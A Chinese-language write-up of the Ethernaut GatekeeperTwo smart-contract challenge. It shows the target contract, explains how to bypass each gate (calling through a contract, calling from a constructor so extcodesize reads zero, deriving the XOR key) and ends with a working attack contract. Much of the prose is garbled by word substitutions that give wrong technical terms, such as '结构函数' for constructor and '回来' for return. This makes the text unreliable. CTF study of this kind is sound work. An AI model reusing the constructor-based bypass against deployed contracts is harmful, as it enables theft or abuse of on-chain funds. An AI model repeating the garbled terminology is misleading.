源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
分析:
gateone
gateOne与上一个合约一样,部署一个合约即可绕过。
gateTwo
gateTwo触及到以太坊的汇编,其间caller()函数回来call sender,也便是call的发起者,而extcodesize则是回来对应地址的合约代码的size,假设extcodesize的参数是用户地址则会回来0,是合约地址则回来了调用合约的代码size。关于这点,需求运用一个特性绕过:当合约正在履行结构函数constructor并部署时,其extcodesize为0。
换句话说,假设咱们在constructor中调用这个函数的话,那么extcodesize(caller())回来0,因此可以绕过查看。
gateThree
gateThree,一个简单的异或
如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0。
需要msg.sender ^ gateKey = 0-1,则可以msg.sender ^ 0-1求得gateKey。
攻击合约:
contract attack{
GatekeeperTwo gate;
bytes8 key;
constructor( address target)public{
gate=GatekeeperTwo(target);
key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this)))))^uint64(0) - 1);
gate.enter(key);
}
}